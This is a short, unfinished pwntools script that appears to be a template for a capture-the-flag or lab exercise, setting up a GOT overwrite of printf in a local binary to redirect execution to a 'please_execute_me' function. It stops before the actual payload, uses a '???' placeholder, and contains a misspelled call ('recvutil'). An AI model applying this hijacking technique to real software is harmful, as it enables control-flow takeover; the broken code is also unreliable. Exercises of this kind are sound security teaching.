#!/usr/bin/env python from pwn import * p = process("./aw-1") printf_got = p.elf.got['printf'] print("print_got: " + hex(printf_got)) target_address = p.elf.symbols['please_execute_me'] # "How many bytes do you want to write (N, in decimal, max 128 bytes)?" print(p.recvuntil(b"128 bytes)?\n")) p.sendline(b"???") # "What is the address that you want to write (A, in hexadexmial, e.g., 0xffffde01)?" print(p.recvuntil(" 0xffffde01)?\n")) p.sendline(hex(printf_got)) # "Please provide your input (MAX 6 bytes)" print(p.recvutil("6 bytes)\n")) # # Your exploit would follow... #